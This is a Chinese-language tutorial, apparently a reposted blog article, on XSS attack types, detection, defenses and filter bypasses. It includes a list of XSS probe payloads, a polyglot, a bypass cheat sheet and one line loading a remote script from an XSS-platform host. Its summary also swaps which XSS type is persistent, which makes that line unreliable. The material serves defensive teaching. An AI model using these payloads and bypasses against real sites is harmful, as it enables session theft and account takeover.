[點(diǎn)晴永久免費(fèi)OA]XSS的攻擊原理與防御原理
xss又稱跨站腳本攻擊，原稱為css（Cross-Site Scripting），因?yàn)楹蛯盈B樣式表(Cascading Style Sheets)重名，所以又稱為xss(x一般有未知的含義，還有擴(kuò)展的含義)。 XSS的攻擊原理 xss攻擊涉及到了攻擊者，用戶和web server。主要是利用了網(wǎng)站本身設(shè)計(jì)的不嚴(yán)謹(jǐn)性，攻擊者通過(guò)對(duì)網(wǎng)頁(yè)插入惡意的攻擊腳本，導(dǎo)致當(dāng)用戶在瀏覽網(wǎng)頁(yè)的時(shí)候，嵌入其中的攻擊腳本就會(huì)被執(zhí)行，從而達(dá)到惡意攻擊用戶的特殊目的。攻擊者通過(guò)xss攻擊，可以獲取到用戶的cookie，然后發(fā)送給攻擊者想要攻擊的網(wǎng)站，因?yàn)榭缯玖耍砸卜Q為跨站腳本攻擊。 XSS的分類(lèi) 根據(jù)攻擊的來(lái)源，xss攻擊的分類(lèi)主要分為：反射型xss、存儲(chǔ)型xss和DOM型xss三種。 反射型xss 反射型xss，也叫“非持久型xss”。用戶點(diǎn)擊攻擊鏈接，觸發(fā)了惡意腳本，服務(wù)器解析后響應(yīng)，在返回的響應(yīng)內(nèi)容中出現(xiàn)攻擊者的xss代碼，被瀏覽器執(zhí)行。一來(lái)一去，xss攻擊腳本被web server反射回來(lái)給瀏覽器執(zhí)行，所以稱為反射型xss。 反射型xss的攻擊步驟： 1、攻擊者構(gòu)造出特殊的URL，其中包含惡意代碼； 2、用戶打開(kāi)帶有惡意代碼的URL時(shí)，網(wǎng)站服務(wù)端將惡意代碼從URL中取出，拼接在HTML中返回給瀏覽器； 3、用戶瀏覽器接收到響應(yīng)后解析執(zhí)行，混在其中的惡意代碼也被執(zhí)行； 4、惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站，或者冒充用戶的行為，調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。 特點(diǎn)： 1、攻擊腳本非持久性，沒(méi)有保存在web server中，而是直接出現(xiàn)在了URL地址中； 2、反射型xss漏洞常見(jiàn)于通過(guò)URL傳遞參數(shù)的功能，如網(wǎng)站搜索、跳轉(zhuǎn)等； 3、由于需要用戶主動(dòng)打開(kāi)惡意的URL才能生效，攻擊者往往會(huì)結(jié)合多種手段誘導(dǎo)用戶點(diǎn)擊。一般通過(guò)郵件、社交軟件等方式直接發(fā)送攻擊URL，通過(guò)用戶的點(diǎn)擊來(lái)達(dá)到攻擊目的的。 POST的內(nèi)容也可以觸發(fā)反射型xss，只不過(guò)其觸發(fā)條件比較苛刻，需要構(gòu)造表單提交頁(yè)面，并引導(dǎo)用戶點(diǎn)擊，所以非常少見(jiàn)。 存儲(chǔ)型xss 存儲(chǔ)型xss，也叫“持久型xss”，相比反射型xss，存儲(chǔ)型xss是把惡意腳本保存到了web server中的，這種攻擊具有較強(qiáng)的穩(wěn)定性和持久性，危害性也更大。這樣每一個(gè)訪問(wèn)特定網(wǎng)頁(yè)的用戶，都會(huì)受到攻擊。 存儲(chǔ)型xss的攻擊步驟： 1、攻擊者將惡意代碼提交到目標(biāo)網(wǎng)站的數(shù)據(jù)庫(kù)中； 2、用戶打開(kāi)目標(biāo)網(wǎng)站時(shí)，網(wǎng)站服務(wù)端將惡意代碼從數(shù)據(jù)庫(kù)取出，拼接在HTML中返回給瀏覽器； 3、用戶瀏覽器接收到響應(yīng)后解析執(zhí)行，混在其中的惡意代碼也被執(zhí)行； 4、惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站，或者冒充用戶的行為，調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。 特點(diǎn)： 1、攻擊腳本持久性，保存在web server中； 2、這種攻擊常見(jiàn)于帶有用戶保存數(shù)據(jù)的網(wǎng)站功能，一般通過(guò)論壇發(fā)帖、商品評(píng)論、用戶私信等功能（所有能夠向web server輸入內(nèi)容的地方），將攻擊腳本存儲(chǔ)到web server中。 有時(shí)候反射型xss和存儲(chǔ)型xss是同時(shí)使用的，比如：先通過(guò)對(duì)一個(gè)攻擊url進(jìn)行編碼（來(lái)繞過(guò)xss filter），提交到web server（存儲(chǔ)在web server中），然后用戶在瀏覽頁(yè)面時(shí)，如果點(diǎn)擊該url，就會(huì)觸發(fā)一個(gè)xss攻擊。當(dāng)然用戶點(diǎn)擊該url時(shí)，也可能會(huì)觸發(fā)一個(gè)CSRF（Cross site request forgery）攻擊。 DOM型xss DOM（Document Object Model） --based 漏洞是基于文檔對(duì)象模型的一種漏洞，通過(guò)修改頁(yè)面的DOM節(jié)點(diǎn)而形成的xss漏洞。 DOM型xss的攻擊步驟： 1、攻擊者構(gòu)造出特殊的URL，其中包含惡意代碼。 2、用戶打開(kāi)帶有惡意代碼的URL。 3、用戶瀏覽器接收到響應(yīng)后解析執(zhí)行，前端JavaScript取出URL中的惡意代碼并執(zhí)行。 4、惡意代碼竊取用戶數(shù)據(jù)并發(fā)送到攻擊者的網(wǎng)站，或者冒充用戶的行為，調(diào)用目標(biāo)網(wǎng)站接口執(zhí)行攻擊者指定的操作。 DOM 型 XSS 跟前兩種 XSS 的區(qū)別：DOM 型 XSS 攻擊中，取出和執(zhí)行惡意代碼由瀏覽器端完成，屬于前端 JavaScript 自身的安全漏洞，而其他兩種 XSS 都屬于服務(wù)端的安全漏洞。 特點(diǎn)： 1、攻擊腳本不與服務(wù)端交互的，只與客戶端上的js交互，攻擊腳本放到了js中執(zhí)行，然后顯示出來(lái)； 2、DOM型xss也是一種反射型xss。 小結(jié) 反射型xss跟存儲(chǔ)型xss的區(qū)別是：存儲(chǔ)型xss非持久性，攻擊腳本存在服務(wù)器里，反射型xss持久性，攻擊腳本存在URL里。 DOM型xss跟前兩種xss的區(qū)別：DOM型xss，是通過(guò)修改頁(yè)面的DOM節(jié)點(diǎn)來(lái)形成xss的，取出和執(zhí)行惡意代碼由瀏覽器端完成，屬于前端JavaScript自身的安全漏洞，而其他兩種xss都屬于服務(wù)端的安全漏洞。 類(lèi)型 存儲(chǔ)區(qū) 插入點(diǎn) 存儲(chǔ)型 XSS 后端數(shù)據(jù)庫(kù) HTML 反射型 XSS URL HTML DOM型 XSS 后端數(shù)據(jù)庫(kù)/前端存儲(chǔ)/URL 前端 JavaScript XSS漏洞的檢測(cè) xss探針 xss探針可檢測(cè)出網(wǎng)站有沒(méi)有對(duì)xss漏洞做最基礎(chǔ)的防御。 在測(cè)試xss的位置寫(xiě)入代碼，查看頁(yè)面源碼，看看哪些代碼被過(guò)濾或者轉(zhuǎn)義了。 '''';!--"<XSS>=&{()} 1 xss語(yǔ)句 除了xss探針以外，還可以輸入最簡(jiǎn)單的測(cè)試語(yǔ)句 <script>alert(/xss/)</script> 1 如果插入的語(yǔ)句原封不動(dòng)的呈現(xiàn)在了瀏覽器中，那么說(shuō)明： 代碼沒(méi)有被過(guò)濾，存在xss； 代碼沒(méi)有被執(zhí)行，因?yàn)闆](méi)有閉合類(lèi)似textarea標(biāo)簽，可以查看下源碼。 常用的xss檢測(cè)語(yǔ)句 <script>alert(/xss/);</script> <script>alert(/xss/)// <script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分號(hào)，也可以分號(hào)+空格（回車(chē)一起使用） <img src=1 onmouseover=alert(1)> <a herf=1 onload=alert(1)>nmask</a> <script>window.a==1?1:prompt(a=1)</script> <script>a=prompt;a(1)</script> <img src=0 onerror=confirm(''1'')> <script>alert(1)</script> <script src="http://xsspt.com/vA4t1W?1542101296"></script> <img src=x onerror=alert(1)> <a href="javascript:alert(1)">xss</a> <svg onload=alert(1)> <input type="text" name="test" onclick=alert(1)> <iframe src="javascript:alert(/xss/)">xss</iframe> <iframe srcdoc="<script>alert(1)</script>"> 使用GIthub上的終極xss工具 ?傳送門(mén) jaVasCript:/*-/*`/*\`/*''/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e 1 它能夠檢測(cè)到存在于HTML屬性、HTML文字內(nèi)容、HTML注釋、跳轉(zhuǎn)鏈接、內(nèi)聯(lián)JavaScript字符串、內(nèi)聯(lián)CSS 樣式表等多種上下文中的XSS漏洞，也能檢測(cè) eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write()等DOMXSS漏洞，并且能繞過(guò)一些XSS過(guò)濾器。 只要在網(wǎng)站的各輸入框中提交這個(gè)字符串，或者把它拼接到URL參數(shù)上，就可以進(jìn)行檢測(cè)了。 自動(dòng)化掃描工具 除了手動(dòng)檢測(cè)之外，還可以使用自動(dòng)掃描工具尋找xss漏洞，例如 Arachni、Mozilla HTTP Observatory、w3af 等。 XSS產(chǎn)生的原因 xss存在的根本原因是，對(duì)URL中的參數(shù)，對(duì)用戶輸入提交給web server的內(nèi)容，沒(méi)有進(jìn)行充分的過(guò)濾。如果我們能夠在web程序中，對(duì)用戶提交的URL中的參數(shù)，和提交的所有內(nèi)容，進(jìn)行充分的過(guò)濾，將所有的不合法的參數(shù)和輸入內(nèi)容過(guò)濾掉，那么就不會(huì)導(dǎo)致在用戶的瀏覽器中執(zhí)行攻擊者自己定制的腳本。 但是，其實(shí)充分而完全的過(guò)濾，實(shí)際上是無(wú)法實(shí)現(xiàn)的。因?yàn)楣粽哂懈鞣N各樣的神奇的，你完全想象不到的方式來(lái)繞過(guò)服務(wù)器端的過(guò)濾，最典型的就是對(duì)URL和參數(shù)進(jìn)行各種的編碼，比如escape，encodeURI，encodeURIComponent，8進(jìn)制，10進(jìn)制，16進(jìn)制，來(lái)繞過(guò)xss過(guò)濾。那么我們?nèi)绾蝸?lái)防御xss呢？ XSS攻擊的防御 XSS 攻擊有兩大要素： 1、攻擊者提交惡意代碼。 2、瀏覽器執(zhí)行惡意代碼。 比較常規(guī)的思路是：對(duì)輸入和URL參數(shù)進(jìn)行過(guò)濾，對(duì)輸出進(jìn)行編碼。也就是對(duì)提交的所有內(nèi)容進(jìn)行過(guò)濾，對(duì)url中的參數(shù)進(jìn)行過(guò)濾，過(guò)濾掉會(huì)導(dǎo)致腳本執(zhí)行的相關(guān)內(nèi)容。然后對(duì)動(dòng)態(tài)輸出到頁(yè)面的內(nèi)容進(jìn)行html編碼，使腳本無(wú)法在瀏覽器中執(zhí)行。雖然對(duì)輸入過(guò)濾可以被繞過(guò)，但是也還是會(huì)攔截很大一部分的xss攻擊。 XSS filter 對(duì)輸入和URL參數(shù)進(jìn)行過(guò)濾（黑白名單），常用的xss filter的實(shí)現(xiàn)代碼： public class XssFilter implements Filter { public void init(FilterConfig config) throws ServletException {} public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest)request); chain.doFilter(xssRequest, response); } public void destroy() {} } public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { HttpServletRequest orgRequest = null; public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); orgRequest = request; } /** * 覆蓋getParameter方法，將參數(shù)名和參數(shù)值都做xss過(guò)濾。<br/> * 如果需要獲得原始的值，則通過(guò)super.getParameterValues(name)來(lái)獲取<br/> * getParameterNames,getParameterValues和getParameterMap也可能需要覆蓋 */ @Override public String getParameter(String name) { String value = super.getParameter(xssEncode(name)); if (value != null) { value = xssEncode(value); } return value; } /** * 覆蓋getHeader方法，將參數(shù)名和參數(shù)值都做xss過(guò)濾。<br/> * 如果需要獲得原始的值，則通過(guò)super.getHeaders(name)來(lái)獲取<br/> * getHeaderNames 也可能需要覆蓋 */ @Override public String getHeader(String name) { String value = super.getHeader(xssEncode(name)); if (value != null) { value = xssEncode(value); } return value; } /** * 將容易引起xss漏洞的半角字符直接替換成全角字符 * * @param s * @return */ private static String xssEncode(String s) { if (s == null || s.isEmpty()) { return s; } StringBuilder sb = new StringBuilder(s.length() + 16); for (int i = 0; i < s.length(); i++) { char c = s.charAt(i); switch (c) { case ''>'': sb.append(''>'');// 全角大于號(hào) break; case ''<'': sb.append(''<'');// 全角小于號(hào) break; case ''\'''': sb.append(''‘'');// 全角單引號(hào) break; case ''\"'': sb.append(''“'');// 全角雙引號(hào) break; case ''&'': sb.append(''＆'');// 全角 break; case ''\\'': sb.append(''＼'');// 全角斜線 break; case ''#'': sb.append(''＃'');// 全角井號(hào) break; case ''%'': // < 字符的 URL 編碼形式表示的 ASCII 字符（十六進(jìn)制格式） 是: %3c processUrlEncoder(sb, s, i); break; default: sb.append(c); break; } } return sb.toString(); } public static void processUrlEncoder(StringBuilder sb, String s, int index){ if(s.length() >= index + 2){ if(s.charAt(index+1) == ''3'' && (s.charAt(index+2) == ''c'' || s.charAt(index+2) == ''C'')){ // %3c, %3C sb.append(''<''); return; } if(s.charAt(index+1) == ''6'' && s.charAt(index+2) == ''0''){ // %3c (0x3c=60) sb.append(''<''); return; } if(s.charAt(index+1) == ''3'' && (s.charAt(index+2) == ''e'' || s.charAt(index+2) == ''E'')){ // %3e, %3E sb.append(''>''); return; } if(s.charAt(index+1) == ''6'' && s.charAt(index+2) == ''2''){ // %3e (0x3e=62) sb.append(''>''); return; } } sb.append(s.charAt(index)); } /** * 獲取最原始的request * * @return */ public HttpServletRequest getOrgRequest() { return orgRequest; } /** * 獲取最原始的request的靜態(tài)方法 * * @return */ public static HttpServletRequest getOrgRequest(HttpServletRequest req) { if (req instanceof XssHttpServletRequestWrapper) { return ((XssHttpServletRequestWrapper) req).getOrgRequest(); } return req; } } 然后在web.xml中配置該filter： <filter> <filter-name>xssFilter</filter-name> <filter-class>com.xxxxxx.filter.XssFilter</filter-class> </filter> <filter-mapping> <filter-name>xssFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> 主要的思路就是將容易導(dǎo)致XSS攻擊的邊角字符替換成全角字符。<和>是腳本執(zhí)行和各種html標(biāo)簽需要的，比如 <script>，&和 #以及 %在對(duì)URL編碼試圖繞過(guò)xss filter時(shí)，會(huì)出現(xiàn)。我們說(shuō)對(duì)輸入的過(guò)濾分為白名單和黑名單。上面的xss filter就是一種黑名單的過(guò)濾，黑名單就是列出不能出現(xiàn)的對(duì)象的清單，一旦出現(xiàn)就進(jìn)行處理。還有一種白名單的過(guò)濾，白名單就是列出可被接受的內(nèi)容，比如規(guī)定所有的輸入只能是大小寫(xiě)的26個(gè)英文字母和10個(gè)數(shù)字，還有-和_，所有其他的輸入都是非法的，會(huì)被拋棄掉。很顯然如此嚴(yán)格的白名單是可以100%攔截所有的xss攻擊的，但是現(xiàn)實(shí)情況一般是不能進(jìn)行如此嚴(yán)格的白名單過(guò)濾的。 對(duì)于輸入，處理使用xss filter之外，對(duì)于每一個(gè)輸入，在客戶端和服務(wù)器端還要進(jìn)行各種驗(yàn)證，驗(yàn)證是否合法字符，長(zhǎng)度是否合法，格式是否正確。在客戶端和服務(wù)端都要進(jìn)行驗(yàn)證，因?yàn)榭蛻舳说尿?yàn)證很容易被繞過(guò)。其實(shí)這種驗(yàn)證也分為了黑名單和白名單。黑名單的驗(yàn)證就是不能出現(xiàn)某些字符，白名單的驗(yàn)證就是只能出現(xiàn)某些字符。盡量使用白名單，雖然白名單無(wú)法完全杜絕xss，但是使用不當(dāng)?shù)脑捒赡軙?huì)帶來(lái)很高的誤報(bào)率。 存儲(chǔ)型和反射型XSS攻擊的防御 存儲(chǔ)型和反射型xss都是在服務(wù)端取出惡意代碼后，插入到響應(yīng)HTML里的，攻擊者刻意編寫(xiě)的“數(shù)據(jù)”被內(nèi)嵌到“代碼”中，被瀏覽器所執(zhí)行。 預(yù)防這兩種漏洞，有兩種常見(jiàn)做法： 改成純前端渲染，把代碼和數(shù)據(jù)分隔開(kāi)。 純前端渲染的過(guò)程： 1、瀏覽器先加載一個(gè)靜態(tài)HTML，此HTML中不包含任何跟業(yè)務(wù)相關(guān)的數(shù)據(jù)。 2、然后瀏覽器執(zhí)行HTML中的JavaScript。 3、JavaScript通過(guò)Ajax加載業(yè)務(wù)數(shù)據(jù)，調(diào)用DOM API更新到頁(yè)面上。 在純前端渲染中，我們會(huì)明確的告訴瀏覽器：下面要設(shè)置的內(nèi)容是文本.innerText，還是屬性.setAttribute，還是樣式.style等等。瀏覽器不會(huì)被輕易的被欺騙，執(zhí)行預(yù)期外的代碼了。 但純前端渲染還需注意避免DOM型xss漏洞，例如 onload 事件和 href 中的 javascript:xxx 等。在很多內(nèi)部、管理系統(tǒng)中，采用純前端渲染是非常合適的。但對(duì)于性能要求高，或有 SEO 需求的頁(yè)面，我們?nèi)匀灰鎸?duì)拼接HTML的問(wèn)題。 對(duì)HTML做充分轉(zhuǎn)義。 如果拼接HTML是必要的，就需要采用合適的轉(zhuǎn)義庫(kù)，對(duì)HTML模板各處插入點(diǎn)進(jìn)行充分的轉(zhuǎn)義。 對(duì)于HTML轉(zhuǎn)義通常只有一個(gè)規(guī)則，就是把 & < > " '' / 這幾個(gè)字符轉(zhuǎn)義掉，確實(shí)能起到一定的xss防護(hù)作用，但并不完善。要完善xss防護(hù)措施，要使用更完善更細(xì)致的轉(zhuǎn)義策略。例如Java工程里，常用的轉(zhuǎn)義庫(kù)為 org.owasp.encoder。 XSS 安全漏洞 簡(jiǎn)單轉(zhuǎn)義是否有防護(hù)作用 HTML 標(biāo)簽文字內(nèi)容 有 HTML 屬性值 有 CSS 內(nèi)聯(lián)樣式 無(wú) 內(nèi)聯(lián) JavaScript 無(wú) 內(nèi)聯(lián) JSON 無(wú) 跳轉(zhuǎn)鏈接 無(wú) 在輸出數(shù)據(jù)之前對(duì)潛在的威脅的字符進(jìn)行編碼、轉(zhuǎn)義對(duì)xss攻擊能起到一定的防御作用。 對(duì)所有要?jiǎng)討B(tài)輸出到頁(yè)面的內(nèi)容，通通進(jìn)行相關(guān)的編碼和轉(zhuǎn)義。當(dāng)然轉(zhuǎn)義是按照其輸出的上下文環(huán)境來(lái)決定如何轉(zhuǎn)義的。 作為body文本輸出，html標(biāo)簽的屬性輸出，比如： <span>${username}</span> <p><c:out value="${username}"></c:out></p> <input type="text" value="${username}" /> 此時(shí)的轉(zhuǎn)義規(guī)則如下： <轉(zhuǎn)成 < >轉(zhuǎn)成 > & 轉(zhuǎn)成 & "轉(zhuǎn)成 " ''轉(zhuǎn)成 ' \轉(zhuǎn)成\\ /轉(zhuǎn)成 \/ ;轉(zhuǎn)成 ；(全角;) javascript事件 <input type="button" οnclick=''go_to_url("${myUrl}");'' /> URL屬性 如果 <script>、<style>、<imt>等標(biāo)簽的 src 和 href 屬性值為動(dòng)態(tài)內(nèi)容，那么要確保這些URL沒(méi)有執(zhí)行惡意連接。確保：href和 src的值必須以 http://開(kāi)頭，白名單方式；不能有10進(jìn)制和16進(jìn)制編碼字符。 DOM型XSS攻擊的防御 DOM型xss攻擊，實(shí)際上就是網(wǎng)站前端JavaScript代碼本身不夠嚴(yán)謹(jǐn)，把不可信的數(shù)據(jù)當(dāng)作代碼執(zhí)行了。 在使用 .innerHTML、.outerHTML、document.write() 時(shí)要特別小心，不要把不可信的數(shù)據(jù)作為HTML插到頁(yè)面上，而應(yīng)盡量使用 .textContent、.setAttribute() 等。 如果用Vue/React技術(shù)棧，并且不使用 v-html/dangerouslySetInnerHTML 功能，就在前端render階段避免 innerHTML、outerHTML 的xss隱患。 DOM中的內(nèi)聯(lián)事件監(jiān)聽(tīng)器，如 location、onclick、onerror、onload、onmouseover 等，<a> 標(biāo)簽的 href 屬性，JavaScript的 eval()、setTimeout()、setInterval()等，都能把字符串作為代碼運(yùn)行。如果不可信的數(shù)據(jù)拼接到字符串中傳遞給這些API，很容易產(chǎn)生安全隱患，請(qǐng)務(wù)必避免。 <!-- 內(nèi)聯(lián)事件監(jiān)聽(tīng)器中包含惡意代碼 --> < img onclick = "UNTRUSTED" onerror = "UNTRUSTED" src = "data:image/png," > <!-- 鏈接內(nèi)包含惡意代碼 --> < a href = "UNTRUSTED" > 1 </ a > < script > // setTimeout()/setInterval() 中調(diào)用惡意代碼 setTimeout( "UNTRUSTED" ) setInterval( "UNTRUSTED" ) // location 調(diào)用惡意代碼 location.href = ''UNTRUSTED'' // eval() 中調(diào)用惡意代碼 eval ( "UNTRUSTED" ) </ script > 其他xss攻擊的防御 HttpOnly xss一般利用js腳本讀取用戶瀏覽器中的Cookie，而如果在服務(wù)器端對(duì) Cookie 設(shè)置了HttpOnly 屬性，那么js腳本將無(wú)法讀取到cookie，但是瀏覽器還是能夠正常使用cookie，這樣能有效的防止xss的攻擊。 一般的Cookie都是從document對(duì)象中獲得的，現(xiàn)在瀏覽器在設(shè)置 Cookie的時(shí)候一般都接受一個(gè)叫做HttpOnly的參數(shù)，跟domain等其他參數(shù)一樣，一旦這個(gè)HttpOnly被設(shè)置，你在瀏覽器的 document對(duì)象中就看不到Cookie了，而瀏覽器在瀏覽的時(shí)候不受任何影響，因?yàn)镃ookie會(huì)被放在瀏覽器頭中發(fā)送出去(包括ajax的時(shí)候)，應(yīng)用程序也一般不會(huì)在js里操作這些敏感Cookie的，對(duì)于一些敏感的Cookie我們采用HttpOnly，對(duì)于一些需要在應(yīng)用程序中用js操作的cookie我們就不予設(shè)置，這樣就保障了Cookie信息的安全也保證了應(yīng)用。 Content Security Policy（內(nèi)容安全策略） 嚴(yán)格的CSP在XSS的防范中可以起到以下的作用： 禁止加載外域代碼，防止復(fù)雜的攻擊邏輯。 禁止外域提交，網(wǎng)站被攻擊后，用戶的數(shù)據(jù)不會(huì)泄露到外域。 禁止內(nèi)聯(lián)腳本執(zhí)行（規(guī)則較嚴(yán)格，目前發(fā)現(xiàn) GitHub 使用）。 禁止未授權(quán)的腳本執(zhí)行（新特性，Google Map 移動(dòng)版在使用）。 合理使用上報(bào)可以及時(shí)發(fā)現(xiàn) XSS，利于盡快修復(fù)問(wèn)題。 輸入內(nèi)容長(zhǎng)度控制 對(duì)于不受信任的輸入，都應(yīng)該限定一個(gè)合理的長(zhǎng)度。雖然無(wú)法完全防止xss發(fā)生，但可以增加xss攻擊的難度。 小結(jié) XSS攻擊防御方法：XSS filter；純前端渲染，數(shù)據(jù)分離；HTML轉(zhuǎn)義；設(shè)置HttpOnly屬性；設(shè)置CSP；限制輸入內(nèi)容的長(zhǎng)度 XSS繞過(guò)的技巧 有xss防御便會(huì)有xss繞過(guò)防御姿勢(shì)，這是攻與防不斷博弈的表現(xiàn)與成果。 大小寫(xiě)繞過(guò) <Script>alert(1)</Script> 雙寫(xiě)繞 <scrscriptipt>alert(1)</scrscriptipt> 替換繞過(guò) 過(guò)濾 alert 用prompt，confirm，top[''alert''](1)代替繞過(guò)過(guò)濾() 用``代替繞過(guò)過(guò)濾空格 用%0a（換行符）,%0d（回車(chē)符），/**/代替繞過(guò)小寫(xiě)轉(zhuǎn)大寫(xiě)情況下 字符ſ大寫(xiě)后為S（ſ不等于s） %00截?cái)嗬@過(guò) <a href=javascr%00ipt:alert(1)>xss</a> 編碼繞過(guò) 實(shí)體編碼 javascript:alert(1) 十六進(jìn)制 javascript:alert(1) 十進(jìn)制 unicode編碼 javascrip\u0074:alert(1) url編碼 javascrip%74:alert(1) fromCharCode方法繞過(guò) String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59) eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)) javascript偽協(xié)議繞過(guò) 無(wú)法閉合雙引號(hào)的情況下，就無(wú)法使用onclick等事件，只能偽協(xié)議繞過(guò)，或者調(diào)用外部js 換行繞過(guò)正則匹配 onmousedown =alert(1) 注釋符 // 單行注釋 <!-- --!> 注釋多行內(nèi)容 <!-- --> 注釋多行內(nèi)容 <-- --> 注釋多行內(nèi)容 <-- --！> 注釋多行內(nèi)容 --> 單行注釋后面內(nèi)容 /* */ 多行注釋 有時(shí)還可以利用瀏覽器的容錯(cuò)性，不需要注釋 閉合標(biāo)簽空格繞過(guò) </style ><script>alert(1)</script> @符號(hào)繞過(guò)url限制 https://www.segmentfault.com@xss.haozi.me/j.js 其實(shí)訪問(wèn)的是@后面的內(nèi)容 ")逃逸函數(shù)后接分號(hào) ");alert(1)// \繞過(guò)轉(zhuǎn)義限制 \") alert(1) // XSS練習(xí)平臺(tái) 以下是幾個(gè)XSS攻擊小游戲，開(kāi)發(fā)者在網(wǎng)站上故意留下了一些常見(jiàn)的 XSS 漏洞。玩家在網(wǎng)頁(yè)上提交相應(yīng)的輸入，完成 XSS 攻擊即可通關(guān)。 alert(1) to win prompt(1) to win XSS game XSS Challenges 參考資料 前端安全系列（一）：如何防止XSS攻擊？ 淺談跨站腳本攻擊與防御 面試問(wèn)題如何預(yù)防xss攻擊 xss攻擊原理與解決方法 XSS攻擊及預(yù)防 OWASP Top 10 - 2017 ———————————————— 版權(quán)聲明：本文為CSDN博主「小曉曉曉林」的原創(chuàng)文章，遵循 CC 4.0 BY-SA 版權(quán)協(xié)議，轉(zhuǎn)載請(qǐng)附上原文出處鏈接及本聲明。
該文章在 2020/4/8 11:13:59 編輯過(guò) |
關(guān)鍵字查詢
相關(guān)文章
正在查詢... 
|
400 186 1886
